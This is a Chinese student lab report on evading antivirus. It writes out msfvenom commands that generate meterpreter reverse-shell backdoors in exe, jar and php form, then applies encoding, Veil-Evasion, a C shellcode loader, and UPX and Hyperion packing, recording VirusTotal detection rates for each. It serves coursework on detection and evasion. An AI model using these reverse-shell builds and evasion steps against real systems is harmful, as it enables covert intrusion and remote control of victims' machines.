1. 实验内容
-
(1)学会使用msf编码器,使用msfvenom生成jar等文件;学会veil-evasion免杀工具;学会使用C进行shellcode编程
-
(2)掌握免杀原理、学会组合应用各种技术实现恶意代码免杀
-
(3)在另一电脑中,在杀软开启的情况下,可运行并回连成功
2. 实验要求
回答问题:
-
(1)杀软是如何检测出恶意代码的?
答:杀毒软件检测恶意代码是通过识别恶意特征或异常行为。识别恶意特征是杀软恶意代码的某些特征与病毒库中的特征码比对,若匹配则判定为恶意文件;异常行为是通过监控程序运行时的行为,例如未经用户允许连接可疑ip、频繁发送敏感数据等 -
(2)免杀是做什么?
答:免杀是让恶意软件不被AV发现并清除,从而能够入侵主机进行非法操作 -
(3)免杀的基本方法有哪些?
答:基本方法有对抗杀软的特征码检测、行为分析等。第一种是通过打破原有的特征序列,使杀软无法匹配到已知恶意特征或者对代码进行加密;第二种是通过模拟正常程序的行为模式,规避动态检测。
3. 实验过程
3.1 实验环境
- (1)实验使用kali镜像的vmware虚拟机,具体配置也在图中

- (2)免杀效果检测的软件,可以使用VirusTotal或者Virscan。本实验中使用VirusTotal

3.2 免杀效果基准参考测试
- 在linux中,通过msfvenom直接生成meterpreter可执行文件,使用命令"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -f exe > 20232405_bd.exe"

- 将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:71个AV中有49个AV检测有问题。并以此为标准判断之后的免杀效果

3.3 使用msf编码器,使用msfvenom生成其他格式的文件
3.3.1 生成exe文件
- 在linux中,利用msfvenom生成编码的exe文件进行免杀,使用命令"
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.133 LPORT=2405 -f exe > 20232405-bdencoded.exe",命令中"x86/shikata_ga_nai"是win使用的编码格式

- 再次将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:71个AV中有43个AV检测有问题。该免杀方法效果不大

- 多进行几次编码试试,将编码次数调到10次,在上述生成exe的命令中添加参数"-i 10"重新生成exe

- 再次将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:71个AV中有43个AV检测有问题。可得重复编码对免杀效果没有影响,说明该编码模板的特征码已经被加入特征库了

3.3.2 生成jar文件
- 在linux中,使用命令"
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -f jar > 20232405_bd.jar"生成jar文件

- 将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:64个AV中有34个AV检测有问题。相比于exe查杀率降低了

- 再使用命令"
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.217.133 LPORT=2405 -f jar > 20232405-bdencoded10.jar"生成jar文件并编码10次

- 再次将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:64个AV中有35个AV检测有问题。结果表明:jar比exe更难查杀,但是编码次数对免杀效果几乎无影响

3.3.3 生成php文件
- 在linux中,使用命令"
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -f raw > 20232405_bd.php"生成php文件,"-f raw"是php的输出格式

- 将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:62个AV中有25个AV检测有问题。相比于前两种文件变得更低了,说明php文件更难查杀

- 再使用命令"
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.217.133 LPORT=2405 -f raw > 20232405-bdencoded10.php"生成jar文件并编码10次

- 再次将该后门文件传入主机,使用VirusTotal进行检测文件的免杀效果,结果如下:62个AV中有9个AV检测有问题。结果表明:php比exe和jar更难查杀,同时编码次数对php的免杀效果有较大提高

3.4 使用免杀工具veil-evasion
3.4.1 安装veil
- veil在kali软件库中有,但默认没装,所以先在linux中使用apt安装veil

- 先按照如下命令输入安装32位的wine
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32 -y
- 输入veil,进入veil配置界面,跟着引导一步一步进行即可

- 最后安装完成,再输入veil,即可成功进入veil交互界面

3.4.2 使用veil进行免杀
- 在veil交互界面中可以看到可使用的工具有2个,我们输入
use 1选择第1个Evasion

- 再输入list查看所有可使用的payload

- 输入
use 7使用列表中第7个payloadc/meterpreter/rev_tcp

- 输入以下命令进行payload配置,成功配置后会显示payload信息和生成文件的位置
set LHOST 192.168.217.133
set LPORT 2405
generate

- 根据上图显示的exe文件的位置找到生成的exe文件

- 将其传入主机并用VirusTotal检测文件的免杀效果,结果如下:72个AV中有39个AV检测有问题。相比于免杀参考基准,veil生成的文件有更好的免杀效果。

3.5 使用c语言调用shellcode
- 首先使用如下命令生成并输出一个c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=2405 -f c

- 用上述生成的shellcode数组编写一个C语言程序

- 然后编译该文件,使用命令
i686-w64-mingw32-g++ 20232405_shellcode_c.c -o 20232405_shellcode_c.exe将c源文件编译为exe文件

- 将exe文件传入主机并用VirusTotal检测文件的免杀效果,结果如下:72个AV中有38个AV检测有问题。相比于免杀参考基准,C语言调用的shellcode有更好的免杀效果,其效果和使用veil工具类似

3.6 使用加壳工具
3.6.1 压缩壳UPX
- 对于上个步骤生成的exe文件,在此使用压缩壳,使用命令
upx 20232405_shellcode_c.exe -o 20232405_shellcode_c_upxed.exe

- 将使用压缩壳后的文件传入主机并用VirusTotal检测文件的免杀效果,结果如下:71个AV中有41个AV检测有问题。结果发现虽然相比于免杀参考基准有更好的免杀效果,但是对于该文件,加壳之后比不加壳还高了,说明该UPX壳已经能被轻易地识别了

3.6.2 加密壳Hyperion
- 首先找到hyperion.exe所在的hyperion目录,并将上一步骤使用的exe文件复制到该目录下

- 在命令行中进入该目录,并对上述exe文件使用加密壳,使用以下命令"wine hyperion.exe -v 20232405_shellcode_c.exe 20232405_shellcode_c_hyed.exe"生成加密后的文件

- 加密文件成功生成

- 将使用加密壳后的文件传入主机并用VirusTotal检测文件的免杀效果,结果如下:72个AV中有52个AV检测有问题。发现变得更高了,免杀效果还不如压缩壳。

3.7 组合免杀技术
-
根据以上的各种方法,将其综合使用进行免杀测试,使用的方法依次是:
-
(1)多次编码,生成20232405_shellcode_c2.c

- (2)使用C语言编译.c文件,生成20232405_shellcode_c2.exe


- (3)对上述exe文件加压缩壳,生成20232405_shellcode_c2_upxed.exe

- (4)对上述加压缩壳后的exe文件加加密壳,生成20232405_shellcode_c2_upxed_hyed.exe

- 以上操作完成后,将最终exe文件传入主机,打开杀毒软件,发现被瞬秒了

3.8 回连
- 在linux中使用msfconsole进行监听,在主机上运行exe文件

- 但是无法进行回连,监听窗口接收不到发送的cmd_
4. 问题及解决方案
-
问题一:在生成php文件时,一直显示命令参数有问题,无法生成文件
解决一:后来查找资料发现,生成php文件需要的输出参数不是"-f php",而是"-f raw",raw是原始代码格式 -
问题二:安装veil时出现问题
解决二:仔细阅读报错并询问AI,发现大概率是因为veil在wine环境中安装python时需要32位的支持,根据教程安装wine32后,veil成功安装 -
问题三:进行加密壳时,显示找不到文件
解决三:查找资料发现,加密壳需要到hyperion的目录中进行操作,先把要加密的exe文件放入该目录,再加密即可成功
5. 学习感悟、思考
在本次免杀实验中,我学会了使用msf的编码器进行编码,使用msfvenom生成不同类型的文件,使用veil免杀工具,使用C语言调用shellcode数组,还有使用UPX进行压缩壳,使用hyperion进行加密壳,让我对免杀技术的原理和实践难点有了清晰的体会。
开始时,我在使用msfvenom生成payload时遇到了字符编码不兼容的问题,通过检查发现是命令中有格式不正确的符号,这使我意识到渗透测试工具的使用不能有一点细节的错误。在安装Veil时,出现了wine环境依赖缺失的报错,后来安装了32位的wine,才成功安装veil,这锻炼了我阅读报错和解决问题的能力。
在免杀测试中加壳的时候,我开始以为能够做到几乎免杀,但是反而出现免杀效果降低的情况,这让我感觉很疑惑。之后通过查找资料得到,常见加壳工具的特征码几乎都被AV记录了,而且加壳程序运行时的脱壳行为容易触发AV的行为检测。
总的来说,这次实验我学到了免杀的原理和实践方法,让我对网络攻防有了更新的认识,但同时我也发现,如果连我们都能做到免杀,那么说明我们的杀毒软件还有很大的进步空间,我也会在之后的学习中不断探索其他免杀和查杀的方法的。
参考资料
MAL_免杀原理与实践.md